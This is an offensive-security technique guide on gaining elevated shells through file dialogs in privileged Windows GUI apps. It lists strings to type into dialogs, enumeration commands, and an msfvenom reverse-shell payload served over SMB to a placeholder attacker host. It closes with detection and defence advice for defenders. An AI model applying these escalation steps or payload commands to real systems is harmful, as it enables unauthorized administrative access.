GUI privesc (Save As / File Open) in elevated apps

When an application with elevated permissions (SYSTEM, Administrator) shows a standard Windows dialog (Save As, Open, Browse, Print), that dialog inherits the parent process's token. Any binary launched from it runs with the same token as the parent. It is a pure interface escalation: it touches neither the disk nor any service configuration.

Routes from a file dialog

A Save As/Open dialog is really an embedded Explorer window, with all its capabilities:

• Address bar: typing C:\Windows\System32\cmd.exe (or powershell.exe) and pressing Enter opens a cmd with the elevated token.
• Typing the path in the "File name" field: \\<lhost>\share\payload.exe runs a binary served over SMB from the attacker.
• Right-click an .exe in the list, "Open", or "Open with" to launch an interpreter.
• file:// or UNC paths in the bar to browse and execute.
• Help menus with hyperlinks (Help > About with a link) that open the browser as the elevated process, and from there to cmd.

Useful strings to type in the address bar or the "File name" field of the dialog (each line is a different route):

cmd.exe
powershell.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file://C:/Windows/System32/cmd.exe
\\<lhost>\share\payload.exe

The concrete pattern:

1. Locate a privileged app in the system tray or on the desktop (databases, maintenance services, third-party utilities with a tray icon).
2. Open a menu that leads to a Save As or File > Open.
3. In the address bar, type cmd.exe and press Enter.
4. A cmd.exe appears with the elevated token; from there, whoami confirms the account.

It is the pattern behind CVE-2021-35448 (RemoteMouse GUI) and half a dozen exploits against management utilities. It is not an app-specific CVE but a consequence of running an interactive GUI with high privileges.

Locate the privileged app

First you have to find a GUI process running with more privileges than the current session. From a shell or from the desktop itself:

tasklist /v | findstr /i "SYSTEM Administrator"
Get-Process | Select-Object Name,Id,SessionId,MainWindowTitle | Where-Object MainWindowTitle
Get-CimInstance Win32_Process | ForEach-Object { "{0,-25} {1}" -f $_.Name, (Invoke-CimMethod -InputObject $_ -MethodName GetOwner).User }

Any process with a window (non-empty MainWindowTitle) owned by SYSTEM or an administrator is a candidate.

Serve the binary over SMB

If instead of cmd.exe we want to run our own binary, generate it and serve it over SMB from the attacker, then type the UNC path in the dialog:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f exe -o payload.exe
impacket-smbserver share $(pwd) -smb2support

\\<lhost>\share\payload.exe

Requirements

Interactive access to the session (physical console, RDP or a desktop session) and an application running as an account more privileged than ours that exposes any standard file, help or print dialog. Without a GUI (shell only) this route does not apply.

Nuance. Do not confuse it with an insecurely-permissioned service: here you do not touch the service configuration, you abuse the token inherited by a dialog. It also requires no disk modification: the attack is entirely through the interface, which makes it hard to detect through file integrity.

How to detect it. The footprint is one of process lineage: a cmd.exe/powershell.exe/mmc.exe whose parent process is a third-party GUI application running as SYSTEM or administrator, recorded in an Event ID 4688 (process creation) with that unusual parent. Sysmon 1 with the same parent-child relationship is the cleanest signal. A browser or a cmd launched from a privileged tray app's process is almost never legitimate.

Defence. Do not run interactive GUIs under privileged accounts. When unavoidable, restrict the dialogs with UI restricted policies, or run the GUI part as a limited user and split the privileged engine into a headless service. It is a cousin of service permission abuse as a local escalation route.